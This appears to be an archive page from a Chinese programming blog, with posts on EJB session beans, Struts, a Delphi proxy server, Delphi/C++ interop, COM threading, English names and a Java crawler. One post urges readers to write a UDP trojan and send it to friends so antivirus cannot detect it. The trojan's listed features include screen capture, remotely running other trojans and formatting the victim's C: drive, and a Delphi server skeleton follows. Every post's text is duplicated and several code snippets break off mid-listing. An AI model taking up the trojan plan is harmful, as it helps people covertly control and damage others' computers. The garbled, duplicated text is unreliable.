10月30
Session Bean分为有状态Bean和无状态Bean,有状态Bean可以维护会话状态,无状态会话Bean不维护会话状态。开发一个Session Bean需要定义接口和Bean Class,其中接口分为远程(remote)和本地(Local)接口。EJB3.0不要求同时实现remote和local接口,但一般两者同时实现。EJB容器之外的应用要访问EJB只能通过remote接口,容器内的应用通过local接口和remote接口都可以访问,但使用local接口性能更好。
现实中,很多朋友对两种session bean存在误解,认为有状态是实例一直存在,保存每次调用后的状态,并对下一次调用起作用,而认为无状态是每次调用实例化一次,不保留用户信息。仔细分析并用实践检验后,你会发现,事实恰好相反:
有状态和无状态会话bean的本质区别是它们的生命期。
首先解释一个下面要用到的概念--用户:session bean 的用户实际上就是直接调用ejb的类的实例,甚至是这个实例的某个方法。同一个类的不同实例对于session bean 来说是不同的用户。
有状态会话bean :每个用户有自己特有的一个实例,在用户的生存期内,bean保持了用户的信息,即“有状态”;一旦用户灭亡(调用结束或实例结束),bean的生命期也告结束。即每个用户最初都会得到一个初始的bean。
无状态会话bean :bean一旦实例化就被加进会话池中,各个用户都可以共用。即使用户已经消亡,bean 的生命期也不一定结束,它可能依然存在于会话池中,供其他用户调用。由于没有特定的用户,那么也就不能保持某一用户的状态,所以叫无状态bean。但无状态会话bean 并非没有状态,如果它有自己的属性(变量),那么这些变量就会受到所有调用它的用户的影响,这是在实际应用中必须注意,的。
现实中,很多朋友对两种session bean存在误解,认为有状态是实例一直存在,保存每次调用后的状态,并对下一次调用起作用,而认为无状态是每次调用实例化一次,不保留用户信息。仔细分析并用实践检验后,你会发现,事实恰好相反:
有状态和无状态会话bean的本质区别是它们的生命期。
首先解释一个下面要用到的概念--用户:session bean 的用户实际上就是直接调用ejb的类的实例,甚至是这个实例的某个方法。同一个类的不同实例对于session bean 来说是不同的用户。
有状态会话bean :每个用户有自己特有的一个实例,在用户的生存期内,bean保持了用户的信息,即“有状态”;一旦用户灭亡(调用结束或实例结束),bean的生命期也告结束。即每个用户最初都会得到一个初始的bean。
无状态会话bean :bean一旦实例化就被加进会话池中,各个用户都可以共用。即使用户已经消亡,bean 的生命期也不一定结束,它可能依然存在于会话池中,供其他用户调用。由于没有特定的用户,那么也就不能保持某一用户的状态,所以叫无状态bean。但无状态会话bean 并非没有状态,如果它有自己的属性(变量),那么这些变量就会受到所有调用它的用户的影响,这是在实际应用中必须注意,的。
10月29
很多朋友对Struts、Spring、Hibernate都只停留在会用的层次,并不知道SSH三个框架的具体实现和原理以及怎么样才能用好这三个框架,猪头曾经看到多滥用Struts、Sping、Hibernate的项目,那个做的真是没话说呀,这篇日志也就给大家介绍下它们的原理,避免大家滥用框架造成系统出现一系列的问题。
Struts的原理和优点.
Struts工作原理
MVC即Model-View-Controller的缩写,是一种常用的设计模式。MVC 减弱了业务逻辑接口和数据接口之间的耦合,以及让视图层更富于变化。MVC的工作原理,如下图1所示:Struts 是MVC的一种实现,它将 Servlet和 JSP 标记(属于 J2EE 规范)用作实现的一部分。Struts继承了MVC的各项特性,并根据J2EE的特点,做了相应的变化与扩展。Struts的工作原理。
视图:主要由JSP生成页面完成视图,Struts提供丰富的JSP 标签库: Html,Bean,Logic,Template等,这有利于分开表现逻辑和程序逻辑。
控制:在Struts中,承担MVC中Controller角色的是一个Servlet,叫ActionServlet。ActionServlet是一个通用的控制组件。这个控制组件提供了处理所有发送到Struts的HTTP请求的入口点。它截取和分发这些请求到相应的动作类(这些动作类都是Action类的子类)。另外控制组件也负责用相应的请求参数填充 Action From(通常称之为FromBean),并传给动作类(通常称之为ActionBean)。动作类实现核心商业逻辑,它可以访问java bean 或调用EJB。最后动作类把控制权传给后续的JSP 文件,后者生成视图。所有这些控制逻辑利用Struts-config.xml文件来配置。
模型:模型以一个或多个java bean的形式存在。这些bean分为三类:Action Form、Action、JavaBean or EJB。Action Form通常称之为FormBean,封装了来自于Client的用户请求信息,如表单信息。Action通常称之为ActionBean,获取从ActionSevlet传来的FormBean,取出FormBean中的相关信息,并做出相关的处理,一般是调用Java Bean或EJB等。
流程:在Struts中,用户的请求一般以*.do作为请求服务名,所有的*.do请求均被指向ActionSevlet,ActionSevlet根据Struts-config.xml中的配置信息,将用户请求封装成一个指定名称的FormBean,并将此FormBean传至指定名称的ActionBean,由ActionBean完成相应的业务操作,如文件操作,数据库操作等。每一个*.do均有对应的FormBean名称和ActionBean名称,这些在Struts-config.xml中配置。
核心:Struts的核心是ActionSevlet,ActionSevlet的核心是Struts-config.xml。
Struts的原理和优点.
Struts工作原理
MVC即Model-View-Controller的缩写,是一种常用的设计模式。MVC 减弱了业务逻辑接口和数据接口之间的耦合,以及让视图层更富于变化。MVC的工作原理,如下图1所示:Struts 是MVC的一种实现,它将 Servlet和 JSP 标记(属于 J2EE 规范)用作实现的一部分。Struts继承了MVC的各项特性,并根据J2EE的特点,做了相应的变化与扩展。Struts的工作原理。
视图:主要由JSP生成页面完成视图,Struts提供丰富的JSP 标签库: Html,Bean,Logic,Template等,这有利于分开表现逻辑和程序逻辑。
控制:在Struts中,承担MVC中Controller角色的是一个Servlet,叫ActionServlet。ActionServlet是一个通用的控制组件。这个控制组件提供了处理所有发送到Struts的HTTP请求的入口点。它截取和分发这些请求到相应的动作类(这些动作类都是Action类的子类)。另外控制组件也负责用相应的请求参数填充 Action From(通常称之为FromBean),并传给动作类(通常称之为ActionBean)。动作类实现核心商业逻辑,它可以访问java bean 或调用EJB。最后动作类把控制权传给后续的JSP 文件,后者生成视图。所有这些控制逻辑利用Struts-config.xml文件来配置。
模型:模型以一个或多个java bean的形式存在。这些bean分为三类:Action Form、Action、JavaBean or EJB。Action Form通常称之为FormBean,封装了来自于Client的用户请求信息,如表单信息。Action通常称之为ActionBean,获取从ActionSevlet传来的FormBean,取出FormBean中的相关信息,并做出相关的处理,一般是调用Java Bean或EJB等。
流程:在Struts中,用户的请求一般以*.do作为请求服务名,所有的*.do请求均被指向ActionSevlet,ActionSevlet根据Struts-config.xml中的配置信息,将用户请求封装成一个指定名称的FormBean,并将此FormBean传至指定名称的ActionBean,由ActionBean完成相应的业务操作,如文件操作,数据库操作等。每一个*.do均有对应的FormBean名称和ActionBean名称,这些在Struts-config.xml中配置。
核心:Struts的核心是ActionSevlet,ActionSevlet的核心是Struts-config.xml。
10月27
在编写一个上网计费软件时,涉及到如何对局域网中各工作站上网计费问题。一般来讲,这些工作站通过代理服务器上网,而采用现成的代理服务器软件时,由于代理服务器软件是封闭的系统,很难编写程序获取实时的上网计时信息。因此,考虑是否能编写自己的代理服务器,一方面解决群体上网,另一方面又解决上网的计费问题呢?经过实验性编程,终于圆满地解决了该问题。现写出来,与各位同行分享。
1、 思路
当前流行的浏览器的系统选项中有一个参数,即“通过代理服务器连接”,经过编程测试,当局域网中一台工作站指定了该属性,再发出Internet请求时,请求数据将发送到所指定的代理服务器上,以下为请求数据包示例:
GET http://home.microsoft.com/intl/cn/ HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: home.microsoft.com
Proxy-Connection: Keep-Alive
其中第一行为目标URL及相关方法、协议,“Host”行指定了目标主机的地址。由此知道了代理服务的过程:接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。为此可编写一个简单的程序,完成上述网络通信重定向问题。用Delphi设计时,选用ServerSocket作为与被代理工作站通信的套接字控件,选用ClientSocket动态数组作为与远程主机通信的套接字控件。编程时应解决的一个重要问题是多重连接处理问题,为了加快代理服务的速度和被代理端的响应速度,套接字控件的属性应设为非阻塞型;各通信会话与套接字动态绑定,用套接字的SocketHandle属性值确定属于哪一个会话。
1、 思路
当前流行的浏览器的系统选项中有一个参数,即“通过代理服务器连接”,经过编程测试,当局域网中一台工作站指定了该属性,再发出Internet请求时,请求数据将发送到所指定的代理服务器上,以下为请求数据包示例:
GET http://home.microsoft.com/intl/cn/ HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: home.microsoft.com
Proxy-Connection: Keep-Alive
其中第一行为目标URL及相关方法、协议,“Host”行指定了目标主机的地址。由此知道了代理服务的过程:接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。为此可编写一个简单的程序,完成上述网络通信重定向问题。用Delphi设计时,选用ServerSocket作为与被代理工作站通信的套接字控件,选用ClientSocket动态数组作为与远程主机通信的套接字控件。编程时应解决的一个重要问题是多重连接处理问题,为了加快代理服务的速度和被代理端的响应速度,套接字控件的属性应设为非阻塞型;各通信会话与套接字动态绑定,用套接字的SocketHandle属性值确定属于哪一个会话。
10月27
大家好呀,Heck最近查阅了一些资料,找了一些大家应该很感兴趣的东东,现在各种杀毒软件搞得冰河等等木马鼠串,没有容身之地,你自己做一个木马就不一样了,嘿嘿,发给你的好友,杀得出来才怪事情。
UDP协议用处多多,现在让我们用它来搞一个木马,一个简单的搞恶作剧的木马。首先,我们列举一下应该实现的功能,能对目标机进行关闭重启动;能让对方两眼一抹黑,黑屏,并且能解除;给对方弹点调侃的消息框;能把对方的鼠标锁定在某个区域内;能隐藏或者显示对方桌面;能抓屏,看看她(他)在干什么;能让对方的光驱像得了抽风病一样进进出出;能在对方机器上远程运行点其他木马什么什么的;直接格式化对方逻辑盘,C:盘也可以在重新启动后格式化(此招太黑,不可乱用)。
能对本文产生兴趣的朋友,一定对远程控制程序结构不陌生,服务端和客户端,我们先不讨论怎么实现服务端的隐藏运行,先来看看实现第一个功能,远程关机的实现,我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
UDP协议用处多多,现在让我们用它来搞一个木马,一个简单的搞恶作剧的木马。首先,我们列举一下应该实现的功能,能对目标机进行关闭重启动;能让对方两眼一抹黑,黑屏,并且能解除;给对方弹点调侃的消息框;能把对方的鼠标锁定在某个区域内;能隐藏或者显示对方桌面;能抓屏,看看她(他)在干什么;能让对方的光驱像得了抽风病一样进进出出;能在对方机器上远程运行点其他木马什么什么的;直接格式化对方逻辑盘,C:盘也可以在重新启动后格式化(此招太黑,不可乱用)。
能对本文产生兴趣的朋友,一定对远程控制程序结构不陌生,服务端和客户端,我们先不讨论怎么实现服务端的隐藏运行,先来看看实现第一个功能,远程关机的实现,我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
10月27
系统函数重定位的例子,从<<计算机世界日报>>上Copy出来的.
//源程序 relocate.c
#include <WINDOWS.H>
#include <dos.h>
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nIn
t1, const RECTFAR*p Rect,LPCSTR lpStr, UINT nInt2, int FAR*
lpInt);
WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);
typedef struct tagFUNC
{
FARPROC lpFarProcReplace; //替代函数地址
FARPROC lpFarProcWindows; //Windows函数地址
BYTE bOld; //保存原函数第一字节
LONG lOld; //保存原函数接后的四字节长值
}FUNC;
FUNC Func={MyExtTextOut,ExtTextOut};
//Windows主函数
int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevIn
stance,LPSTR lpCmdi ne,int nCmdShow){
HANDLE hMemCode; //代码段句柄
WORD hMemData; //相同基址的可写数据段别名
WORD wOffset; //函数偏移
//源程序 relocate.c
#include <WINDOWS.H>
#include <dos.h>
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nIn
t1, const RECTFAR*p Rect,LPCSTR lpStr, UINT nInt2, int FAR*
lpInt);
WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);
typedef struct tagFUNC
{
FARPROC lpFarProcReplace; //替代函数地址
FARPROC lpFarProcWindows; //Windows函数地址
BYTE bOld; //保存原函数第一字节
LONG lOld; //保存原函数接后的四字节长值
}FUNC;
FUNC Func={MyExtTextOut,ExtTextOut};
//Windows主函数
int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevIn
stance,LPSTR lpCmdi ne,int nCmdShow){
HANDLE hMemCode; //代码段句柄
WORD hMemData; //相同基址的可写数据段别名
WORD wOffset; //函数偏移
10月27
VCL里的MessageDlg没有声音,而标准的windows消息对话框是带声音的
可以用下面的函数解决:
function MsgDlg (const msg: string; atype: TMsgDlgType; abuttons: TMsgDlgButtons; helpctx: Longint): Word;
var mb: CARDINAL;
begin
case AType of
mtWarning: mb:= MB_ICONEXCLAMATION;
mtError: mb:= MB_ICONHAND;
mtInformation: mb:= MB_ICONASTERISK;
mtConfirmation: mb:= MB_ICONQUESTION;
else mb:= $0FFFFFFFF;
end;
MessageBeep (mb);
MsgDlg:= MessageDlg (msg, atype, abuttons, helpctx);
end
可以用下面的函数解决:
function MsgDlg (const msg: string; atype: TMsgDlgType; abuttons: TMsgDlgButtons; helpctx: Longint): Word;
var mb: CARDINAL;
begin
case AType of
mtWarning: mb:= MB_ICONEXCLAMATION;
mtError: mb:= MB_ICONHAND;
mtInformation: mb:= MB_ICONASTERISK;
mtConfirmation: mb:= MB_ICONQUESTION;
else mb:= $0FFFFFFFF;
end;
MessageBeep (mb);
MsgDlg:= MessageDlg (msg, atype, abuttons, helpctx);
end
10月27
delphi以其独特的面向控件的开发方式、强大的数据库功能以及快速的编译技术,使得它自发布起即格外引人注意。随着delphi 3提供丰富的internet应用,delphi日益成为最重要的软件开发工具之一,它吸引了许多原visual basic、foxpro、dbase甚至c++的程序员,而这些程序员使用delphi时需要解决的一个重要问题就是怎样利用他们原有的代码。本文将介绍delphi与c++程序集成的方法,包括s delphi与c++之间函数的共享;s 代码的静态链接和动态链接;s 对象的共享。
函数的共享
在delphi中调用c++函数与c++调用delphi函数相当直接,需要注意的是,delphi 1默认的函数调用方式是pascal方式,delphi 2、delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在c++与delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使c++编译器不将函数标记为"mang led",使delphi编译器误认为函数是采用cdecl调用方式,应该在c++代码中,以extern "c "说明被共享的函数,如下例所示:
原型说明:
在c++中: extern "c" int _stdcall testfunc();
在delphi中: function testfunc:integer; stdcall;
函数的共享
在delphi中调用c++函数与c++调用delphi函数相当直接,需要注意的是,delphi 1默认的函数调用方式是pascal方式,delphi 2、delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在c++与delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使c++编译器不将函数标记为"mang led",使delphi编译器误认为函数是采用cdecl调用方式,应该在c++代码中,以extern "c "说明被共享的函数,如下例所示:
原型说明:
在c++中: extern "c" int _stdcall testfunc();
在delphi中: function testfunc:integer; stdcall;
10月27
COM 使用与Win32同样的线程机制。它使用Win32 API来创建和同步线程。但线程模型在Win32和COM中是不尽相同的。
Win32线程模型
Win32 定义了两类线程。用户界面线程和工作者线程。Win32中的每个进程都可以拥有一个或多个用户界面线程和/或多个工作者线程。用户界面线程有消息循环,接受发送到窗口的消息,因此也和一个或多个窗口有关联。工作者线程用于后台处理,不与任何窗口相关联。作为开发者,使用Win32线程时,要注意另外一个主要的不同点。用户界面线程总是拥有一个或多个窗口。当有消息传递给特定的窗口时,用户界面线程负责调用合适的方法。消息循环在同一个用户界面线程中执行,而不理会是哪一个线程发来的消息,所以Windows可以保证同步的正确执行。编程人员不需要为线程同步写附加的特殊代码。然而,如果你开发工作者线程的话,就必须自己处理线程同步,防止死锁或非同步的情况出现。
COM线程模型
在COM中,线程的含义有些微差异。总共有三类COM线程模型。即:Apartment,Free和Rental线程(为MTS引入)。与Win32最类似的是用户界面线程相当于Apartment线程模型,而工作者线程相当于Free线程模型。
Win32线程模型
Win32 定义了两类线程。用户界面线程和工作者线程。Win32中的每个进程都可以拥有一个或多个用户界面线程和/或多个工作者线程。用户界面线程有消息循环,接受发送到窗口的消息,因此也和一个或多个窗口有关联。工作者线程用于后台处理,不与任何窗口相关联。作为开发者,使用Win32线程时,要注意另外一个主要的不同点。用户界面线程总是拥有一个或多个窗口。当有消息传递给特定的窗口时,用户界面线程负责调用合适的方法。消息循环在同一个用户界面线程中执行,而不理会是哪一个线程发来的消息,所以Windows可以保证同步的正确执行。编程人员不需要为线程同步写附加的特殊代码。然而,如果你开发工作者线程的话,就必须自己处理线程同步,防止死锁或非同步的情况出现。
COM线程模型
在COM中,线程的含义有些微差异。总共有三类COM线程模型。即:Apartment,Free和Rental线程(为MTS引入)。与Win32最类似的是用户界面线程相当于Apartment线程模型,而工作者线程相当于Free线程模型。
10月27
很多朋友都想给自己取个英文名,可不知道如何下手,Heck最开始也是这样,尤其是刚进那些外资公司的时候都需要取个英文名,Heck以前的取的叫Jason,不错吧,呵呵,现在还保留着Heck Jason代表具备丰富知识的人,哈,大家赶紧为自己在下面选择一个吧。
Arno 条顿 鹰
Arthur 英国 高尚的或贵族的 (石中剑ㄉ男主角)
Arvin 条顿 以平等之心待人者
Asa 希伯来 上帝的赐予;治愈者
Atwood 英国 住在森林或森林中的人
Aubrey 条顿 有钱有势的国王
August 拉丁 神圣的、尊崇的或身份高尚的人;八月
Augustine 拉丁 指八月出生的人
Avery 英国 淘气,爱恶作剧的人

Arno 条顿 鹰
Arthur 英国 高尚的或贵族的 (石中剑ㄉ男主角)
Arvin 条顿 以平等之心待人者
Asa 希伯来 上帝的赐予;治愈者
Atwood 英国 住在森林或森林中的人
Aubrey 条顿 有钱有势的国王
August 拉丁 神圣的、尊崇的或身份高尚的人;八月
Augustine 拉丁 指八月出生的人
Avery 英国 淘气,爱恶作剧的人
10月25
其实这是一个web搜索的基本程序,从命令行输入搜索条件,起始的URL、处理url的最大数、要搜索的字符串,它就会逐个对Internet上的URL进行实时搜索,查找并输出匹配搜索条件的页面。 这个程序的原型来自《java编程艺术》,为了更好的分析,Heck去掉了其中的GUI部分,并稍作修改以适用jdk1.5。以这个程序为基础,可以写出在互联网上搜索诸如图像、邮件、网页下载之类的“爬虫”。
先请看程序运行的过程:
D:\java>javac SearchCrawler.java
D:\java>java SearchCrawler http://127.0.0.1:8080/webhome/index.jsp 20 java
Start searching...
result:
searchString=java
http://127.0.0.1:8080/webhome/index.jsp
http://127.0.0.1:8080/webhome/reply.jsp
http://127.0.0.1:8080/webhome/learn.jsp
http://127.0.0.1:8080/webhome/download.jsp
http://127.0.0.1:8080/webhome/article.jsp
http://127.0.0.1:8080/webhome/HeckGUIOverview.htm
http://127.0.0.1:8080/webhome/myexample/Proxooldoc/index.html
http://127.0.0.1:8080/webhome/view.jsp?id=301
http://127.0.0.1:8080/webhome/view.jsp?id=297
http://127.0.0.1:8080/webhome/view.jsp?id=291
http://127.0.0.1:8080/webhome/view.jsp?id=286
http://127.0.0.1:8080/webhome/view.jsp?id=285
http://127.0.0.1:8080/webhome/view.jsp?id=284
http://127.0.0.1:8080/webhome/view.jsp?id=276
http://127.0.0.1:8080/webhome/view.jsp?id=272
先请看程序运行的过程:
D:\java>javac SearchCrawler.java
D:\java>java SearchCrawler http://127.0.0.1:8080/webhome/index.jsp 20 java
Start searching...
result:
searchString=java
http://127.0.0.1:8080/webhome/index.jsp
http://127.0.0.1:8080/webhome/reply.jsp
http://127.0.0.1:8080/webhome/learn.jsp
http://127.0.0.1:8080/webhome/download.jsp
http://127.0.0.1:8080/webhome/article.jsp
http://127.0.0.1:8080/webhome/HeckGUIOverview.htm
http://127.0.0.1:8080/webhome/myexample/Proxooldoc/index.html
http://127.0.0.1:8080/webhome/view.jsp?id=301
http://127.0.0.1:8080/webhome/view.jsp?id=297
http://127.0.0.1:8080/webhome/view.jsp?id=291
http://127.0.0.1:8080/webhome/view.jsp?id=286
http://127.0.0.1:8080/webhome/view.jsp?id=285
http://127.0.0.1:8080/webhome/view.jsp?id=284
http://127.0.0.1:8080/webhome/view.jsp?id=276
http://127.0.0.1:8080/webhome/view.jsp?id=272






